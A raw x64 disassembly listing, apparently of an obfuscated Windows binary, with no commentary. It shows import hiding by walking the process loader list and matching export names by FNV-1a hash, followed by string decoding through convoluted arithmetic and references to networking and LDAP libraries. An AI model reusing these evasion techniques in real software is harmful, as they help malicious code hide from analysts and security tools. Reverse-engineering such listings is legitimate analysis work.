lea rdx, [rdi + r9*4]
mov r8d, dword [rdx + r11]
add r8, rdi
mov edx, 0x811c9dc5
jmp 0x1401436c3
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401436b8
cmp edx, r14d
je 0x1401436d9
test r9d, r9d
jne 0x1401436a3
jmp 0x14014373f
mov r8d, dword [r10 + 0x1c]
add r8, rdi
mov edx, dword [r10 + 0x24]
add rdx, rdi
movzx edx, word [rdx + r9*2]
mov ebx, dword [r8 + rdx*4]
add rbx, rdi
cmp rbx, r10
jbe 0x140143756
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x140143756
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rbx]
cmp al, 0x2e
je 0x140143733
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, rcx
jmp 0x140143710
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, rcx
mov al, byte [rbx]
test al, al
jne 0x140143726
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x140143753
cmp qword [rbx + 0x30], rax
jne 0x14014361f
mov rbx, rax
mov qword [0x1404fc158], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x1404fc150]
xor eax, eax
test rdx, rdx
jne 0x1401438d9
mov esi, eax
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401437eb
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401437dd
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401437cc
cmp r8d, esi
jne 0x1401438bb
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401438bb
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401438bb
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x14014383f
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140143834
cmp edx, r14d
je 0x140143855
test r9d, r9d
jne 0x14014381f
jmp 0x1401438bb
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x1401438d2
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x1401438d2
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x1401438af
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x14014388c
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x1401438a2
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x1401438cf
cmp qword [rdi + 0x30], rax
jne 0x14014379b
mov rdx, rax
mov qword [0x1404fc150], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc148]
xor eax, eax
test rdx, rdx
jne 0x140143a4c
mov esi, eax
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14014395e
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140143950
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14014393f
cmp r8d, esi
jne 0x140143a2e
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140143a2e
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140143a2e
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401439b2
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401439a7
cmp edx, r14d
je 0x1401439c8
test r9d, r9d
jne 0x140143992
jmp 0x140143a2e
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x140143a45
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140143a45
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x140143a22
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x1401439ff
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x140143a15
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x140143a42
cmp qword [rdi + 0x30], rax
jne 0x14014390e
mov rdx, rax
mov qword [0x1404fc148], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc140]
xor eax, eax
test rdx, rdx
jne 0x140143bbf
mov esi, eax
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140143ad1
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140143ac3
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140143ab2
cmp r8d, esi
jne 0x140143ba1
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140143ba1
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140143ba1
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140143b25
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140143b1a
cmp edx, r14d
je 0x140143b3b
test r9d, r9d
jne 0x140143b05
jmp 0x140143ba1
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x140143bb8
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140143bb8
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x140143b95
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x140143b72
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x140143b88
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x140143bb5
cmp qword [rdi + 0x30], rax
jne 0x140143a81
mov rdx, rax
mov qword [0x1404fc140], rdx
xor ecx, ecx
call rdx
xor eax, eax
cmp qword [0x1404fc138], rax
jne 0x140143d31
mov esi, eax
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140143c41
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140143c33
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140143c22
cmp r8d, esi
jne 0x140143d13
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140143d13
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140143d13
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140143c95
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140143c8a
cmp edx, r14d
je 0x140143cab
test r9d, r9d
jne 0x140143c75
jmp 0x140143d13
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, rbx
cmp r9, r10
jbe 0x140143d2a
lea rcx, [rax + r10]
cmp r9, rcx
jae 0x140143d2a
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r9]
cmp al, 0x2e
je 0x140143d06
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, rcx
jmp 0x140143ce2
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, rcx
mov al, byte [r9]
test al, al
jne 0x140143cf9
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x140143d27
cmp qword [rdi + 0x30], rax
jne 0x140143bf1
mov r9, rax
mov qword [0x1404fc138], r9
mov r8, qword [0x1404fc168]
test r8, r8
jne 0x140143da8
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r9, qword [rax]
mov r10, r9
mov rcx, qword [r9 + 0x60]
movzx eax, word [r9 + 0x58]
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
cmp rcx, rdx
je 0x140143d8e
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140143d6f
cmp r8d, 0x610c0de3
je 0x140143dff
mov r9, qword [r9]
xor eax, eax
cmp r9, r10
je 0x140143d9e
cmp qword [r9 + 0x30], rax
jne 0x140143d54
mov r8, rax
mov qword [0x1404fc168], r8
movsxd rax, dword [r8 + 0x3c]
mov r11d, dword [rax + r8 + 0x88]
xor eax, eax
mov r9d, eax
mov r10d, dword [r11 + r8 + 0x20]
lea r15d, [rax + 1]
mov eax, r9d
lea rcx, [r10 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, r15
test al, al
je 0x140143dfa
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, r15
test al, al
jne 0x140143dde
cmp ecx, 0xe463da3c
je 0x140143e05
add r9d, r15d
jmp 0x140143dc2
mov r8, qword [r9 + 0x30]
jmp 0x140143da1
mov edx, dword [r11 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r11 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x1404fba00]
xor eax, eax
test r10, r10
jne 0x140143fa0
mov esi, eax
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140143eaa
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140143e9c
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140143e8b
cmp r8d, esi
jne 0x140143f7c
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x140143f7c
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140143f7c
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140143efe
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140143ef3
cmp edx, r14d
je 0x140143f14
test r9d, r9d
jne 0x140143ede
jmp 0x140143f7c
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r10d, dword [r8 + rdx*4]
add r10, rbx
cmp r10, r11
jbe 0x140143f93
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x140143f93
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x140143f6f
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rdx
jmp 0x140143f4b
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rdx
mov al, byte [r10]
test al, al
jne 0x140143f62
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x140143f90
cmp qword [rdi + 0x30], rax
jne 0x140143e5a
mov r10, rax
mov qword [0x1404fba00], r10
mov r15d, 1
lea r9, [rbp + 0x11ac]
mov r8d, r15d
mov edx, 0x5000
mov rcx, r12
call r10
mov r8, qword [0x1404fc160]
xor eax, eax
test r8, r8
jne 0x140144126
mov esi, eax
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140144036
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140144028
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140144017
cmp r8d, esi
jne 0x140144108
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140144108
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140144108
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x14014408a
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14014407f
cmp edx, r14d
je 0x1401440a0
test r9d, r9d
jne 0x14014406a
jmp 0x140144108
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r8d, dword [r8 + rdx*4]
add r8, rbx
cmp r8, r10
jbe 0x14014411f
lea rcx, [r10 + rax]
cmp r8, rcx
jae 0x14014411f
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edx, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x1401440fb
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rdx
jmp 0x1401440d7
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rdx
mov al, byte [r8]
test al, al
jne 0x1401440ee
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x14014411c
cmp qword [rdi + 0x30], rax
jne 0x140143fe6
mov r8, rax
mov qword [0x1404fc160], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
lea rcx, [0x1404fba90]
call fcn.1401abee0
xor ebx, ebx
test eax, eax
jne 0x1401468f4
mov r12, qword [0x1404fc128]
xor eax, eax
test r12, r12
jne 0x1401442c3
mov esi, eax
mov r14d, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401441d1
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401441c3
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401441b2
cmp r8d, esi
jne 0x1401442a5
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401442a5
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401442a5
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140144225
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14014421a
cmp edx, r14d
je 0x14014423b
test r9d, r9d
jne 0x140144205
jmp 0x1401442a5
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r12d, dword [r8 + rdx*4]
add r12, rbx
cmp r12, r10
jbe 0x1401442bc
lea rcx, [r10 + rax]
cmp r12, rcx
jae 0x1401442bc
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov edx, 1
mov al, byte [r12]
cmp al, 0x2e
je 0x140144297
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r12, rdx
jmp 0x140144272
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r12, rdx
mov al, byte [r12]
test al, al
jne 0x14014428a
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x1401442b9
cmp qword [rdi + 0x30], rax
jne 0x140144181
mov r12, rax
mov qword [0x1404fc128], r12
mov byte [rbp + 0x440], Ordinal_27
mov byte [rbp + 0x441], 0xa1
mov byte [rbp + 0x442], Ordinal_46
mov byte [rbp + 0x443], 0xa3
mov byte [rbp + 0x444], Ordinal_60
mov byte [rbp + 0x445], 0x9d
mov byte [rbp + 0x446], 3
mov byte [rbp + 0x447], 0x9f
mov byte [rbp + 0x448], recv
mov byte [rbp + 0x449], 0x99
mov byte [rbp + 0x44a], Ordinal_60
mov byte [rbp + 0x44b], 0x9b
mov byte [rbp + 0x44c], 0x9a
mov byte [rbp + 0x44d], __WSAFDIsSet
xor eax, eax
mov dword [rbp + 0x44e], eax
mov byte [rbp + 0x452], al
movabs rsi, 0xc31f8f2349af4a9b
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r11, qword [rax]
xor eax, eax
mov r10d, eax
cmp r10, 0x13
jae 0x140144f27
movzx r9d, byte [rbp + r10 + 0x440]
mov r8, r9
cmp rdi, r10
ja 0x140144f1e
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x140144397
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, r9
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r9
sub bl, 0x3d
jmp 0x1401443d1
je 0x140144e98
lea rax, [r11 + 2]
cmp rdi, rax
je 0x140144e0e
lea rax, [r11 + 5]
cmp rdi, rax
je 0x140144db3
lea rax, [r11 + 6]
cmp rdi, rax
je 0x140144d89
lea rax, [r11 + 3]
cmp rdi, rax
je 0x140144d62
cmp r11, r10
ja 0x140144f15
lea rax, [r11 + 6]
cmp rdi, rax
jae 0x140144403
movabs rdx, 0x196bde50b611eb7
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 1
add bl, dl
jmp 0x140144437
lea rax, [r11 + 1]
cmp rdi, rax
je 0x140144d1f
lea rax, [r11 + 3]
cmp rdi, rax
je 0x140144cfd
lea rax, [r11 + 5]
cmp rdi, rax
je 0x140144cdb
lea rax, [r11 + 6]
cmp rdi, rax
je 0x140144cb9
lea rax, [r11 + rdi]
cmp rax, r10
jbe 0x1401449c8
lea rax, [r11 + 8]
cmp rdi, rax
je 0x1401449a6
lea rax, [r11 + 0x3e8]
cmp rdi, rax
je 0x140144980
lea rax, [r11 + 0x40]
cmp rdi, rax
je 0x14014495e
lea rax, [r11 + 0x5a]
cmp rdi, rax
je 0x14014493d
lea rax, [r11 + 0x400]
cmp rdi, rax
je 0x14014491b
lea rax, [r11 + 5]
cmp rdi, rax
je 0x1401448f5
lea rax, [r11 + 0x2a]
cmp rdi, rax
je 0x1401448d3
lea rax, [r11 + 0x20]
cmp rdi, rax
je 0x1401448ad
lea rax, [r11 + 6]
cmp rdi, rax
je 0x14014488b
lea rax, [r11 + 0x200]
cmp rdi, rax
je 0x140144444
lea rdi, [r11 + 2]
lea r11, [rdi + 0x28]
lea rax, [r11 + 0x7a]
cmp rdi, rax
jb 0x140144ef3
lea rax, [r11 + 9]
cmp rdi, rax
jb 0x140144ed1
lea rax, [r11 + 3]
cmp rdi, rax
jb 0x140144643
lea rax, [r11 + 0x42]
cmp rdi, rax
jb 0x140144621
lea rax, [r11 + 0xa]
cmp rdi, rax
jb 0x1401445ff
lea rax, [r11 + 0x1000]
cmp rdi, rax
jb 0x14014482e
lea rax, [r11 + 0x64]
cmp rdi, rax
jb 0x1401447d4
lea rax, [r11 + 1]
cmp rdi, rax
jb 0x140144789
lea rax, [r11 + 0x61]
cmp rdi, rax
jb 0x14014475f
lea rax, [r11 + 8]
cmp rdi, rax
jb 0x140144444
lea rdi, [r11 + 0x200]
lea r11, [rdi + 2]
lea rax, [r11 + 0x28]
cmp rdi, rax
ja 0x14014473d
lea rax, [r11 + 0x41]
cmp rdi, rax
ja 0x140144729
lea rax, [r11 + 0x3e8]
cmp rdi, rax
ja 0x140144707
lea rax, [r11 + 4]
cmp rdi, rax
ja 0x1401446f3
lea rax, [r11 + 0x5a]
cmp rdi, rax
ja 0x1401446d1
lea rax, [r11 + 0x10]
cmp rdi, rax
ja 0x1401446bd
lea rax, [r11 + 5]
cmp rdi, rax
ja 0x14014469b
lea rax, [r11 + 0x80]
cmp rdi, rax
ja 0x140144687
lea rax, [r11 + 0x20]
cmp rdi, rax
ja 0x140144665
lea rax, [r11 + 0x7a]
cmp rdi, rax
ja 0x140144444
lea rdi, [r11 + 8]
lea r11, [rdi + 0x200]
jmp 0x140144444
movabs rcx, 0xf222b829022d8229
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x1f
jmp 0x140144437
movabs rcx, 0x6be399e26eceecf3
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x5b
jmp 0x1401443d1
movabs rcx, 0xe5a47b9bdb7057bd
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x2b
jmp 0x140144369
movabs rcx, 0xcb5ef285b08f5b8
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 8
jmp 0x140144d3c
movabs rdx, 0x8676d0e1c7aa6082
mov ecx, reloc.WS2_32.dll_gethostname
jmp 0x14014498f
movabs rcx, 0x37b29b344bcb4c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x14
jmp 0x140144da6
movabs rdx, 0x79f89454a0ed3616
mov ecx, 0x33
jmp 0x14014494c
movabs rcx, 0xf3b9760e0d8ea0e0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x20
jmp 0x140144df9
movabs rdx, 0x6d7a57c77a300baa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
jmp 0x140144904
movabs rcx, 0xe73b3980e6d17674
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x2c
jmp 0x140144e2f
movabs rdx, 0x60fc1b3a5372e13e
mov ecx, Ordinal_41
jmp 0x1401448bc
movabs rcx, 0xdabcfcf3c0144c08
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x38
jmp 0x140144eb5
movabs rcx, 0xb1f31434fa7d701
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 7
mov byte [rbp + r10 + 0x440], bl
jmp 0x140144ec4
movabs rcx, 0x84e012fcbc4941cb
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x73
cmp r11, 0x20
jb 0x14014477c
movabs rcx, 0xbe93080f5bd7b9c2
add rcx, r10
mov al, cl
and al, r9b
mov edx, Ordinal_27
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea ebx, [rdx + rdx]
jmp 0x140144d3c
movabs rcx, 0xfea0f4b628eaac95
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x13
cmp rdi, 0x61
jae 0x140144c61
lea rax, [r11 + 6]
cmp rdi, rax
jbe 0x140144bb0
movabs rdx, 0x801bd94d9a25e5a6
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401447a6
movabs rcx, 0x7861d66f958c175f
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x67
lea rax, [r11 + rdi]
cmp rax, 6
je 0x140144c8f
lea rax, [r11 + 0x80]
cmp rdi, rax
jbe 0x140144ad5
movabs rcx, 0x7e851b688ec4c6ef
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x77
jmp 0x1401447f1
movabs rcx, 0x988735e4446b84a
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 6
jmp 0x140144eb5
movabs rdx, 0x83495517b0e82314
mov ecx, Ordinal_60
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140144e61
movabs rcx, 0xfd0a36d11d898dde
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x12
jmp 0x140144e2f
movabs rdx, 0x76cb188a8a2af8a8
mov ecx, 0x34
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140144dfc
movabs rcx, 0xf08bfa43f6cc6372
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x1e
jmp 0x140144df9
movabs rdx, 0x6a4cdbfd636dce3c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140144c85
movabs rcx, 0xe40dbdb6d00f3906
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
